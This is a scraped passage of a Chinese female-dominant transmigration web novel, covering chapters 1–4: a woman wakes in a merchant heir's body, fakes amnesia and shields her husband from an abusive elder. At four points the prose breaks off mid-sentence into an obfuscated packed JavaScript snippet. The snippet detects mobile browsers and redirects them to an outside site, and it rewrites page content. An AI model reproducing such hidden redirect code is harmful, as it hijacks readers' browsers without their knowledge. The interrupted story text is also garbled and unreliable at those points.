《穿越后的第三年(女尊)》 1. 第1章 睁开眼,率先映入眼帘的是中式古典雕花样式,肉眼可见的贵。 微微偏头,守在床前的是个小丫头,跟姜宜年对视了一眼,缓慢地瞪大眼睛,然后大喊大叫着跑了出去。 “娘子醒了!娘子醒了!快来人啊!郎君!” 声音忽远忽近,姜宜年一阵耳鸣,一边拧着眉毛揉着耳朵,一边翻身坐起来。 好不容易舒服了一点儿,她转头打量起这间屋子来。 ……是做梦还是真的穿越了? 如果是穿了,一会儿估计就能看到刚才的那个小丫头带着几个人过来,多半是她这身体原主人的家属,包括但不限于父母,姐妹,哥哥弟弟什么的…… 她摸了摸这看起来就很贵的床,然后掐了自己一把。 痛感后知后觉袭来,姜宜年“啧”了一声,没及时感觉到痛的时候,她还以为自己真是在做梦。 不过就算还能感觉到疼痛,姜宜年也不敢掉以轻心。 或许是死前最后一秒的幻想呢…… 不过……活着的感觉真好啊。 “娘子真的醒了吗?你肯定?”一个少年的声音。 “当然,我亲眼所见!”刚才的小丫头回话道。 他们说着话靠近时,姜宜年正坐在镜子前端详自己的样貌。 听到越来越靠近的脚步骤停,姜宜年缓慢转过身去,脚步声继续,几人进了屋子,几双眼睛统一看向她。 姜宜年眨了眨眼,她已经想好了接下来该怎么做。 如果继承了这个身体的记忆,就可以当做什么都没发生过一样假装是原主跟其家人交流。 可惜她脑子里一片空白,只有自己本身的记忆,这个方法根本行不通。 只能装失忆。小说里都这么写。 姜宜年一脸茫然地看着看着她的这几个人,两男一女,以站位和穿着打扮来看,在前面的公子像是出自主人家。 这人模样出众,另外两个人看着都很激动,只他瞧着冷静一些。 姜宜年看着他往前走了两步,眨了眨眼,坐着没动。 她在等对方先开口,但对方只盯着她看,并不开口。他身后的两个年轻家伙面面相觑起来。 姜宜年微微蹙眉,率先开口打破僵局:“……你们是?” 稍远些的一男一女大惊失色,眼珠子都快瞪出来了,距她不远处的貌美公子身体也晃了晃。 “妻主不认得我了?”但声音听起来依然冷静。 姜宜年:“……” 她以为这位是自己的哥哥弟弟什么的,这具身体的模样不俗,眼前这位也是,她还以为他们是一家人。 妻主…… 这是个什么称呼? 似乎……还有点儿耳熟。 等等! 妻主! 那不是某种特定小说里才会出现的称呼吗?! 姜宜年瞪大眼睛,跟眼前人身后的那两个表情几乎如出一辙。 这这这……这是个女尊背景的世界?眼前这个长得好看的小公子,不是原主的哥哥,也不是原主的弟弟,而是原主的……夫郎? 姜宜年莫名有些紧张,她不确定跟妻主相对的称呼是不是夫郎。 现在想想,出去叫他们两个过来的小丫头,当时确实喊了“郎君”,不是什么“公子”“少爷”之类的称呼。 姜宜年摇了摇头,揉了揉额角,说:“我什么都不记得了,你是谁?我是谁?他们又是谁?” 台词是越说越顺的,姜宜年甚至加上了肢体动作,站起身来看了一下整个屋子,问身后的人:“这里是哪里?” 不过不知道是不是自己表演过分优秀了,眼前原本看起来还算冷静的人被她的行为刺激得霎然间双眼通红。 像是快哭了。 姜宜年有些动容,嘴唇动了动,可陌生感让她疏远身边的所有人,包括眼前这个,她什么都没能说出口。 …… 没过多久,姜宜年就了解了自己现在的身份。 她是嵘城富户姜家的现任家主,原主跟她同名,不过因为出了意外一直昏迷不醒。 已经一年了,这段时间所有生意铺子都是她的夫郎商琮琤代为打理看管。 “一年?”姜宜年瞠目结舌。 柯玉点点头,关切地看着她:“娘子有觉得哪里不舒服吗?” 其实,好像,没有。 但姜宜年不知道能不能这么说,柯玉和商琮琤的随侍吉枣两个人倒罢了,但商琮琤本人看着有点深沉,姜宜年完全看不出他在想什么。 在她表示自己什么都不记得了之后,那人激动了一小会儿,不过在确认了姜宜年真的什么都不记得了以后,他很快重新冷静下来,现在正一个人站在院子里,不知道在干什么。 “有一点头晕。” 姜宜年说完,柯玉叹了口气,“可不是么,娘子都病了一年了,郎君一直很担心,不过现在好了,娘子醒过来以后,一切都会越来越好的。” 小姑娘才十四岁,姜宜年看着她挺喜欢,有什么说什么,还是个乐天派。 话音刚落,吉枣就把大夫带了过来,原本在屋外的商琮琤跟大夫一起进来,姜宜年抬头看向他,对方没在看她,正跟大夫说起她醒过来之后的一言一行。 情绪恢复还挺快。 也是,如果不是这种沉稳的性子,没有这种面对突发情况的能力,怎么可能在女尊背景下帮原主接下家业打理得井井有条。 都是柯玉说的,她说,这段时间姜宜年未知生死,姜家上下都是商琮琤一人打理。 放在其他背景下倒罢了,眼下商琮琤是嫁了人的男子,打理的还是妻主家的事宜,只是稍微想想就知道他这一年过得恐怕不怎么容易。 大夫道:“郎君勿忧心,娘子究竟如何,一诊脉便知。” 姜宜年伸出胳膊,所有人都安安静静地看着这一幕。 大夫诊断很快,说从脉象来看,一切正常,只是有些许虚弱。 “但妻主谁也不认得了。”商琮琤开口,姜宜年转头看向他。 人如其名,他的声音很好听。先前没注意,居然此刻才发觉。 大夫说从脉象来看姜家主身体无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697238|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恙,至于为什么失忆,她一时半会也不知道,原因有多种可能。 不过人醒过来安然无恙才是最重要的,大夫安慰商琮琤:“娘子刚醒过来,说不定过几日对身边的人和物接触多了,就都能想起来了。” 姜宜年脑子里正想着别的事,蓦地和商琮琤的双眸对上。 两人像是都被震了一下,商琮琤先移开目光,问了大夫几个问题,都跟如何照顾姜宜年有关。 姜宜年原本在想,失忆这个借口是好用,但绝不是万能的。 自己毕竟不是原主,言行举止都不可能跟原主一模一样,最好少做少说,不要早早露出马脚,能瞒多久是多久。 商琮琤看起来很精明……似乎脾气不错,不知道是不是错觉,但就算不是错觉,一个脾气再怎么好的人,枕边人的躯壳被别的孤魂占了,他肯定也不会善罢甘休就此认命。 他们关系怎么样呢?姜宜年有些好奇。 她已知的信息不多,全靠瞎猜。 商琮琤看着挺关心她,但两个人似乎不是感情浓郁的那种关系,极其克制,很礼貌,但也可以读作疏离,会不会没什么感情基础呢? 姜宜年希望是这样,她不想拆散一对有情人。 大夫说了些什么,姜宜年已经没在听了。 她想到自己失去意识之前的事,大巴车出了车祸,车上大部分都是旅行的人,而她例外。 她本来是要去参加爸爸的第二次婚礼的,没赶上。 不知道老头子在婚礼当天得知自己女儿死讯,是一种什么心情。 姜宜年和父母的关系都很一般,不过不到深仇大恨的地步,就是平时没什么来往。 妈妈早就有了新家庭,爸爸倒是稍晚几年,不过并不是因为她,而是不想负责,这次据说是因为有了孩子,而且年纪确实大了玩不动了才结婚的。 一个晃神,其他人已经出去了。 屋子里只剩下姜宜年和商琮琤两个人。 气氛有些尴尬。 商琮琤凝视着她,姜宜年不知道对方在想什么,被这样的眼神看得心里毛毛的。 “妻主身体除了头晕之外,没有别的不适吗?” 姜宜年摸了下肚子,眨了下眼,说自己饿了。 商琮琤眉心凝雾骤然散去,直接起身道:“那我去给妻主做些吃的,是我不好,居然忘了这个。” 看得出来,一个昏迷一年的人突然醒过来,还看起来跟常人无异,弄得身边守着的这些人手忙脚乱。 商琮琤刚出去,柯玉进来,问要不要跟姐姐说一声,让她快点回来。 “我还有姐姐?” “不是,是柯锦,是我的姐姐,以前都是她陪着娘子,娘子昏迷着的时候,她被郎君差遣出去做事,总不在府里。” 姜宜年还不是很习惯自己的新身份,她问:“那商……那郎君怎么说?” “我还没有问过郎君。”柯玉刚说完,又道:“不过郎君应该会想先瞒着其他人吧,毕竟其他几房如果知道娘子醒了,肯定要跑过来添乱。” 哟,还是个大家庭。 2. 第2章 柯玉说自己的姐姐柯锦是个藏不住事儿的人,跟姜宜年感情深厚,如果知道她醒了,一定会很激动,这事可能就藏不住了。 姜宜年突然想到,这小丫头大概是知道商琮琤不会同意,才来直接问她。 她此时当然跟商琮琤站在同一边,跟原主越亲近的人,她越不能现在直接见。 刚穿过来,姜宜年心里也乱糟糟的,需要时间接受现实,捋清楚现状,再决定后面该怎么做。 商琮琤动作麻利,不多时端来一碗粥,几个小菜。 柯玉眼珠滴溜溜地转,姜宜年看出来了她是想跟商琮琤说通知柯锦的事,之前姜宜年没表态,只是把话岔开了,她还没放弃。 “你先出去吧。” 姜宜年还在犹豫要不要让她离开的时候,商琮琤直接对柯玉发话,柯玉点头应声退了出去。 没想到,商琮琤的厨艺不错,只是清粥小菜,就做得很好吃。 姜宜年想多吃点儿,但估计是这身体躺太久了,没吃几口就没了胃口,感觉到饱了,姜宜年看向商琮琤的眼神有点儿不好意思。 人家忙活这么一通,自己就吃这么一点儿。 “妻主吃不下了?” 姜宜年点了点头,“味道很好,不过我胃口不太好。” 话都说出口了,后知后觉像是欲盖弥彰。 不过商琮琤似乎没有介意,他让姜宜年饿了再跟他说,他会重新准备。 两人面对面坐着,好一会儿谁也没有开口说话。 姜宜年想到这个特殊的时代背景,率先开口:“听柯玉说,我昏迷已经有一年了,这段时间辛苦你了。” 商琮琤轻声道:“妻夫本是一体,这都是我该做的,只不过做得不好。” “你谦虚了,我听说了,如果不是你,我今日未必有醒过来的机会。” 柯玉讲故事很有天赋,把商琮琤夸上了天。 商琮琤微笑着没说话,气氛又陷入尴尬的境地。 姜宜年深呼吸了一下,问他:“我们是怎么认识的?又是怎么走到成亲这一步的呢?能不能跟我说说?” 商琮琤的眼神瞬间变得黯然,姜宜年心跟着颤了颤。 难不成是两情相悦,惺惺相惜? 那就难办了。 “年岁合适,性情相宜,然后就成婚了。” 姜宜年挑眉问他:“就这样?” “妻夫成婚,不都是这样?”商琮琤淡然笑笑。 姜宜年心想,看来想得到准确信息,还是要从柯玉入手。 她讲故事绘声绘色,详略得当,不像商琮琤,言简意赅,还什么信息点都没抛出来。 “家里还有什么长辈?” 原主的母亲娶了四个夫郎,亲生母父都不在了,但现在二房、三房、四房的爹爹们都还在。 她还有几个兄弟,没有姐妹。 原主的母亲虽然娶了四房夫郎,但只有姜宜年一个女儿,这也是为什么姜宜年这个现任家主昏迷之后,姜家的一切都只能由商琮琤打理的原因。 如果她有姐妹,根本轮不到商琮琤插手。 不过虽然商琮琤说得轻描淡写,姜宜年猜得到,在现有的时代背景之下,这一年他过得不会有多容易。 至于商琮琤看到“她”醒了之后所表现出那激动的一小部分,是对妻主的爱意占比大,还是对终于可以松懈下来的欣喜占比大,姜宜年暂时还搞不清楚。 “你跟他们关系不太好?”姜宜年顺势发问。 商琮琤长睫扇动两下,道:“没有的事,妻主不要听柯玉乱讲。” “她没跟我说什么,是我猜的。” 姜宜年想,如果商琮琤和其他几房关系很好,那么得知她醒了的这个消息,他肯定会马不停蹄挨个安排通知到位。 但他没有这么做,原因为何,显而易见。 姜宜年吃饱了,有点儿头晕。 只是眨了眨眼,微微皱眉,就没逃过商琮琤的眼睛,问她怎么了,是不是哪里不舒服。 姜宜年如实相告。 商琮琤呆了一下,才开口说让她休息,恍恍惚惚似的,说大夫留的方子,吉枣现在正看着火,一会儿汤药熬好了她得喝。 “好,到时候你叫我。” 商琮琤顺从点头。 姜宜年起身往床边走去,偏头余光看到商琮琤期期艾艾跟着起身,但站在原地没有跟上来。 商琮琤的表情不太对劲。 姜宜年突然想到,会不会自己现在再在他面前躺下,躺在这张床上入眠,对他来说其实勾起了他心里的某种阴影呢? “我以前怎么叫你?” 商琮琤怔了一下,答:“妻主平日里就叫我的名字。” “……琮琤?” 商琮琤顿了顿,点头,“是。” 姜宜年一个人的时候挺安静,如果身边的人比她还要安静,那么她就会自动转化为外向。 所以她一直觉得自己算不上是个文静内敛的人。 面对商琮琤这种问一句答一句的对象,她其实可以做到更外向主动,但现在身体和精神状态不怎么允许,新设定带来的冲击也需要时间进行消化。 姜宜年没多说什么,只是说了句“药熬好了记得叫我”就转进内间打了个哈欠躺下了。 隔着床幔,她隐隐约约能看到商琮琤的身影还停留在原地,没有挪动。 不知道过了多久,商琮琤的影子抬手,依次抹了抹两边的眼角。 他是哭了吗? 还是我已经开始做梦了? 姜宜年没有多少时间去详细分辨。 就算那个场景不是做梦,不是她幻想出来的,她也已经没精力做梦了。 姜宜年沉沉睡去。 再一次醒来……她觉得如果第一次是充了百分之二十的电量强制开机,然后待机了那么长时间的话,这一次就是充满了电。 再不济也充到了百分之八十。 她整个人神清气爽,没有耳鸣,没有眼花,没有头晕,充分休息过后,感觉灵魂都得到了洗涤。 姜宜年翻身下床,低头发现自己身上的衣服不是睡前穿的那件。 正奇怪着,门外的人听到了动静走进来看,柯玉看到她再一次醒过来,长舒了口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697239|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “娘子,你可醒了,吓死我们了。” 姜宜年:“……” 难道不是一次性穿越,而是循环穿越反复经历同样的剧情吗? 这一幕、这台词,虽然跟上一次不是一模一样,但也过分相似了吧? 姜宜年精神状态不错,但思绪有点儿凌乱,她直接问:“我不是已经醒来过一次了吗?” 柯玉当时全程参与了呀。 “是,但娘子只跟郎君说累了想休息一下,就几乎睡了一天一夜,可把郎君担心坏了。” 柯玉情绪激动,不像是撒谎。 姜宜年:“……” 难怪现在感觉各方面良好,原来是充电时长的缘故。 姜宜年的记忆还停留在入睡前,商琮琤说会叫她起来喝药那段。 她问:“郎君人呢?” “晨起给二老爷请安去了。”柯玉一边扶着姜宜年往外走,一边小声嘟囔:“这个时辰还没回来,肯定又被二老爷为难了。” “二老爷?”姜宜年暂时还没有习惯身边的人物关系,“是二房吗?” “是。”柯玉见姜宜年问了一句,立刻有一肚子苦水要倒。 “二老爷跋扈,娘子昏迷不醒时,他欺负大房无人,又想让儿子夺权,郎君不给,他就铆足了劲儿欺负郎君,郎君在他那儿吃了不少苦头。” 姜宜年跟着柯玉的情绪走,听着听着也生起气来。 她问:“不是还有三房和四房吗?他们对郎君怎么样?” “都不怎么好,不过三房四房一直被二老爷压着,翻不起什么风浪来,只是偶尔叫郎君过去训话。” 柯玉越说越气:“二老爷就不一样了,给郎君下规矩,日日都要让他过去服侍,天不亮就要让他过去候着,有事儿没事儿就把叫郎君过去挨罚,娘子昏迷的这一年里,郎君跪祠堂的次数多到数不清。” 姜宜年眉间沉沉,她问:“商琮琤犯了什么错?惩罚总要找个由头吧?” 似乎没想到姜宜年会直接说出正夫的姓名,柯玉愣了一下,再开口语气就没有那么激进了。 “二老爷稍微有点儿气不顺就会算在郎君头上,每次罚他来来回回就是那些由头……” “哪些?”姜宜年沉声问道。 “就……说郎君是扫帚星,克妻……还说……说就是因为郎君进门,娘子的母父们才没了,说他不仅克妻,还克了妻主一家子,娘子一直昏迷不醒,二老爷说要是他不交出姜家的管家权来,其他几房迟早有一天也会被他连累。” …… 姜宜年简单梳洗了一下,正在翻柜子,柯玉跑过来问她在找什么。 她回头,对柯玉清浅一笑,问她:“我平日出门穿的衣服都放在哪里了?” 柯玉一边给她拿一边询问:“娘子要出门吗?” “你带我去二房,找郎君。” 柯玉猛地回头,“不行,郎君说绝对不能让其他几房知道娘子已经醒过来了。” 姜宜年知道,商琮琤是担心那群糟心亲戚过来打扰她恢复。 “我说行就行,一会儿你给我带路,郎君不会罚你的。” 3. 第3章 姜宜年不太清楚姜家算是多有钱的人家,但肯定有钱人是够格的。 毕竟虽然只是听他们说,似乎就有很多家铺子和一些生意要管。 而且原主的母亲娶了四个夫郎,夫郎们都生了孩子,她都得养活啊,这么多张嘴,每天的吃穿用度都是支出。 姜宜年想着,商琮琤真是个有能耐的人。 原主躺了一年,商琮琤独自一个人撑起这个家,不仅顶着其他几房的觊觎之心,还承受着那个什么二老爷的刻意刁难和磋磨。 先前是没办法,现在她来了,总得让商琮琤松快松快,不然难道要让她当成没听到柯玉说过的那些话吗? 她可做不到。 柯玉在带她去二房的路上还一直劝她回去,姜宜年听得耳朵都累了。 “怎么你看起来在我和郎君之间,像是更害怕郎君呢?” 柯玉没否认。 “郎君只是瞧着脾气好,说话从来都是说一不二的,我跟娘子说了这么许多……唉,昨日已经被郎君敲打过了,怪我不长记性。娘子若是不心疼我,没想着帮我瞒着,回去之后郎君一定会罚我的。” “行了,我保证不让他罚你。” 柯玉看着有些犹豫,但两个主子的话她都得听,这是没办法的事。 “不过你得向我保证。” “什么?”柯玉睁大了眼睛看着姜宜年问道。 “以后只能听我的,有什么事都要先跟我说,哪怕是郎君不让你告诉我的,明白吗?” 姜宜年初来乍到,得培养个身边人,目前看来,柯玉算是最合适的人选。 柯玉一脸不解,轻声开口:“姜家上上下下所有人都是听娘子话的呀,就连现下管家的郎君,也是娘子的人呐,没有人会违逆娘子的命令。” 姜宜年:“……” 柯玉说这话的语气很真诚,似乎很有道理似的。 但姜宜年知道她没理解其中真实含义。 想着现在不是解释的好时机,而且可能会越解释越麻烦,干脆算了。 姜宜年让她继续带路。 走到二房院子门口,她们就听到了里面有人说话的声音。 趾高气昂的,透着高高在上得理不饶人的劲儿。 “我知道你心里保不齐在骂我,说着多难听多不入耳的话,但无论如何,这面子上,我跟你都是姜家的人。你是宜年明媒正娶娶回来的夫郎,也算是我的孩子,你想想看,宜年自昏迷不醒之后,我哪一日能睡得好吃得下?我可是日日夜夜都在为姜家殚精竭虑。宜年与你成婚时,不过是个孩子,她到底是不是把整个姜家交给了你,谁也不能确定。你从来都是一面之词,单凭这个,你就想一直牢牢把着姜家的管家钥匙,若是男子可以继承姜家的家业,那么也该由姓姜的孩子继承,还轮不到你!” 商琮琤的声音淡然,不卑不亢。 “父亲过虑了,琮琤一直与父亲说的都是暂时代妻主管家,并没有想过继承姜家的什么。家业也好,钱财也罢,琮琤从来没有想过拿走不属于自己的分毫。等妻主醒了,这些都还是会回到妻主手里,就如当时母亲安排的那样。” “醒?呵……已经一年了,你找来了那么多大夫,可有一个告诉你宜年确切什么时候能醒过来吗?没有吧?我听说你也看了不少医书,日日夜夜守着她,她可睁眼过一次?你要是给我们姜家生个女儿,我倒还能信任你,可别说女儿了,你连个儿子都没生出来。若是宜年永远醒不过来,难不成你还一直……” “她会醒过来的。”商琮琤语气坚定地开口,被打断说话的人似乎也愣住了,只听到商琮琤又重复了一遍,“妻主一定会醒过来的,她答应过……” “住嘴!”那人气急败坏一般,“这不过是你拖延时间的说辞,姜家的银钱全都掌控在你一人手里。说句不好听的,我们宜年命苦,碰上了你,虽然是个扫帚星,怎么说都这么年轻,若是你哪日找了个野女人卷走了姜家的财产我们都还不知道呢。反正,今日无论如何,你都要把账本和钥匙交出来!” “二老爷!郎君不是那样的人!他对娘子一片真心,天地可鉴,更何况,娘子娶了郎君半年就一睡不醒了,他一个人怎么能生孩子呢?其实娘子她昨日——” “吉枣!”商琮琤严词厉色地开口:“你是什么身份?怎么敢跟二老爷顶嘴,还不快跟二老爷赔礼道歉。” 吉枣原本就跟商琮琤一起跪着,听了这话,连磕了两个头,哭哭啼啼的没再抬头。 “好啊,你养的下人都敢跟主子顶嘴了,谁知道你那一院子里都养了些什么东西,宜年放在你身边我实在不放心,今日除了要交出那两样东西,还得把宜年送到我这里来,由我亲自照料!” “父亲!不可!”商琮琤跪着前行两步,身体颤抖着乞求对方,“您忘了,妻主刚出事时你要把她挪到您这里来,她险些没了气息,万万不可啊!” 二老爷郭氏嗤笑一声,“好啊,看起来你眼下对宜年还是有些感情在的,宜年可以让你再照顾一阵子。不过管家钥匙和账本,你现在就让这狗奴才给我取过来。” 商琮琤低着头,脊背绷直了,姜宜年看过去,他的肩膀一直在抖,幅度不大。 “不愿意?”那郭氏居高临下地看着商琮琤,一脸“无所谓,反正闲来无事陪你玩玩”的表情,语气刻意染上诧异—— “我是长辈,都愿意退让一步,全了你谁知道是真是假的一片深情。你却这个不愿意,那个也不愿意,你既要把妻主放在身边控制着,又要把整个姜家握在手里,商琮琤,人太贪心是会有报应的。” 商琮琤没说话,一直低着头。 郭氏收了笑,起身从厅中走到跪在院子里的商琮琤身边。 “宜年还不知道她的夫郎是这种人呢,今日,我就替她好好给你立立规矩。”郭氏睨了一眼身边的随从,冷声道:“掌嘴!” 那人呆住了,很快反应过来,迟疑着开口:“老爷……郎君毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697240|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子,若是把脸伤了……” “怕什么?他的妻主现在正躺在床上一无所知,若是脸毁了都不惧怕,不是更证明了他对妻主忠贞不二么。” 郭氏停顿了一下,看着商琮琤那张白净的脸蛋,半晌,笑了。 “仔细说来,若是成了丑八怪,我们这些长辈也就不会担心你有朝一日会惹出什么丑事来了。” 他说完,歪着头看着商琮琤那一身惹人厌烦的傲骨,更觉得这是个好方法,早就该这样做了。 “给我打——” “郎君,我找了你好久啊,郎君。” 姜宜年的声音出现,几乎所有人都定住了。 只有商琮琤和吉枣反应最大,回头看向她,以及她身后的柯玉。 “妻主……” 姜宜年酝酿好的表情微微凝滞,脚步也跟着顿了一下。 不知道是不是错觉,商琮琤吐出的这两个字,听起来包含着无限委屈。 “郎君。”姜宜年走到商琮琤身边,扶他起来。 隔着袖子都能感觉到他胳膊的冰凉,不知道跪了多久,商琮琤脚下不稳,一半的重量都不可控制地压在姜宜年身上。 姜宜年怒气值拉满,看向始作俑者。 “宜……宜年……你……你醒了?你真的醒了?你什么时候醒的?”郭氏惊得嗓子都哑了,险些说不出一句整话来。 “你是谁?凭什么让我的夫郎跪你?还想伤了他的脸……” 姜宜年进来之前就已经想好了要怎么做。 昨天……啊不,前天,她给自己安排的是失忆忘记所有人的剧本,但现在,她要重新改写一点点初始设定。 也就是说,除了他们院子里的那几个人之外,姜宜年打算让其他人都觉得,她失忆了,忘记了所有人,唯独记得商琮琤。 这样一来,她就不信在自己的全力护夫下,还有人有胆子敢去欺负商琮琤。 “宜年,你说什么?我是你的父亲啊,我是……我是你母亲的……” “闭嘴!”姜宜年一把将郭氏推倒在地,“什么路边的狗东西敢冒充我的父亲,我父亲才不是你!他长得比你好看,性格比你温柔,还对我的夫郎呵护有加,你是什么东西敢冒充他!” 她想趁乱赶紧踢上两脚,没想到商琮琤大惊失色却反应力迅速把她一把抱住—— “妻主,不能这样,妻主,冷静一点……” 姜宜年在心里急得跳脚,这么好的机会,这人怎么这么死板,等人物关系理清楚以后她就真的不能这样为所欲为了。 还不趁现在能报多少点儿仇是多少点儿。 果然是封建礼教下长大的古代人!不争气! 郭氏被她这一推给推傻了,坐在地上一脸茫然,手蹭破了也无知无觉似的。 “宜年……你不是宜年……” 姜宜年整个人在商琮琤的怀里怔住了。 还真叫这又贪心又恶劣的蠢货一语道破天机了。 4. 第4章 姜宜年这么一闹,商琮琤的账本和钥匙暂时是保住了,不过他想隐瞒所有人的事情是怎么样都瞒不下去了。 一时之间,姜家上上下下所有人都知道了姜宜年清醒过来的事情。 不过只有一少部分人知道,姜宜年醒是醒了,却失去了一部分记忆。 那一少部分人指的就是二房老爷郭氏院子里伺候的下人们。 他们知道姜家现任家主好不容易死里逃生醒了过来,不过除了自己的夫郎,谁也不记得了。 除了商琮琤,姜宜年再不记得任何人,不记得任何事。 郭氏匆忙找来大夫,姜宜年发现不是昨天给她看诊的那一位,猜测这应该是郭氏的心腹。 毕竟他那么想拿到姜家的管家权,原本以为再也醒不过的姜宜年醒了过来,对他,可以说是毁灭性的打击。 他必须确认这件事的真实程度,也必须确认姜宜年除了醒过来,有没有可能明天就悄然无声的死掉。 事实总是事与愿违的。 大夫对郭氏使了个眼色,轻轻摇头,郭氏面色凝重。 姜宜年将这一切尽收眼底,故意紧张兮兮地问:“大夫,我怎么了?我有什么问题吗?” “娘子放心,听说……娘子方才将二老爷推倒在地,结合此刻的脉象来看,娘子的身体康健,没有什么问题。” “那大夫怎么这副表情?”姜宜年故意装傻,大声问道:“怎么看着像是大失所望一样?难不成……”她在大夫和郭氏身上来回移动目光,“你们是一伙的!” 姜宜年跳了起来,又开始不分场合说发疯就发疯。 “我不要你看!我要郎君找来的大夫诊脉,我不相信你们!你们都想害我们!” 商琮琤再一次抱住姜宜年,轻声安抚,“没事的,没事的妻主,他们不是坏人,妻主,这是二老爷,是母亲的二房夫郎,你不记得了,他也算是我们的父亲。” 姜宜年瞬间冷静下来,转头看向商琮琤,“真的吗?”语气中全是怀疑。 “真的,这是姜家,是你的家,不会有人伤害你的。” 商琮琤垂下眼睫,复又扬起,目光诚挚,语调温柔—— “就算有人想要伤害你,我也不会让他们得逞。” “……” 姜宜年怔了一下,低头发现自己被商琮琤牢牢抱住,下意识想挣脱出来,但又想到戏还没落幕,忍了一下。 “这是怎么回事啊?”郭氏见缝插针,急切对大夫发问:“我女儿这到底是怎么回事?宜年怎么会变成这个样子?她怎么会不记得我了呢?她怎么只记得她夫郎一个人呢?” 大夫看戏看得正入迷,被郭氏强行夺回注意力。 “这……这我也说不好,之前没遇到过姜家主这种例子,老爷给我一些时间,让我好好琢磨一下。” “多长时间?”看得出来,郭氏气得不行。 他没想到姜宜年说醒就醒了,更没想到原本就对他没什么好脾气的姜宜年,这次醒了连表面功夫也不做了,甚至……甚至还对他动了手! 简直太过分了! “哎呀,老爷,你手腕流血了,一定要上药好好包扎一下才行,后面几天要注意养护,还要涂去疤膏,不然会留下疤痕的,手是男人的第二张脸,可不能留疤。” 郭氏从姜宜年出现那一刻开始就一直忧心忡忡,这时候大夫不提他还没注意到自己受了伤。 都是拜姜宜年所赐! 郭氏自然而然看向姜宜年,但见这丫头一副目中无长辈的样子,还嗤了一声,“留疤才好呢,按他方才说的,若是留了疤,他还不惧怕,不正证明了他对我母亲忠贞不二么。” “妻主。”商琮琤小声在姜宜年耳边开口。 两人离得太近,姜宜年耳朵痒痒的。 她看了一眼商琮琤,声音越来越低,“……只可惜不是在脸上。” “妻主,不能这么说……” “宜年!你怎么能说这种话!我再怎么说也是你的父亲!”郭氏气得不行。 姜宜年不甘示弱,“是吗?我什么都不记得,你是哪门子父亲?女儿躺在床上不省人事,你还企图毁了女婿的脸,天底下哪儿有你这样的父亲!” 她这句话是喊出来的,那天不怕地不怕的架势险些把郭氏气得吐血。 商琮琤也有些闹不清楚姜宜年现在是什么情况,简直像一匹失控的野马似的。 他只好代替姜宜年对郭氏道歉,“父亲,妻主刚醒过来,情况不太对,我先陪她回去了,改日等妻主什么都想起来了,一定会过来向父亲赔罪的。” 姜宜年几乎是被商琮琤拉着离开二房院子的。 等他们出去的时候,院子里里外外站了不少人,全都是看热闹的。 吉枣接收到了商琮琤的眼神,勒令那些人散开,还严厉斥责了他们几句,让他们不许把今天听到的、看到的往外乱说。 姜宜年内心有点儿不满,她巴不得今天的事情被这些人传出去大肆宣扬呢。 就让所有人都知道郭氏是怎么对他的,就让所有人都看看郭氏是个什么样的人。 “好了,好了,我没那么不可控,松开我吧。” 姜宜年为了维持人设,一路上都被商琮琤拉着拽着。 那力度,姜宜年怀疑商琮琤以为她一上头随时都要回去跟郭氏干仗。 “妻主……”商琮琤此刻明白过来,长叹一声,“你方才是故意的。” “装疯卖傻?”姜宜年笑笑,“算是吧,但其实也不算,我本来就不记得他是哪根葱了。” 商琮琤吸了口气,缓缓吐出,补充道:“但是你也不记得我了。” 说到这个,姜宜年内心还是有一点愧疚的。 听郭氏说,商琮琤是个痴情种,对原主一往情深,原主昏迷不醒的这一年以来,他一直尽心尽力地帮原主维持家业,还兼顾了照顾她的责任。 郭氏这样跋扈,不可能只在今天发作,按柯玉说的,以往在“姜宜年”这个身份没有醒过来的时候,是没有人帮他救他的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697241|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不知道吃了多少苦。 心心念念的人看起来是醒了,但其实,醒过来的另有其人。 这件事往深了想,姜宜年甚至有点儿不知道该怎么面对他。 “好了,不说我了。”姜宜年拉了一下商琮琤的袖子,“你赶紧坐下歇歇吧,刚才在那个院子里你跪了多久?” “没有多久。”商琮琤低下脑袋。 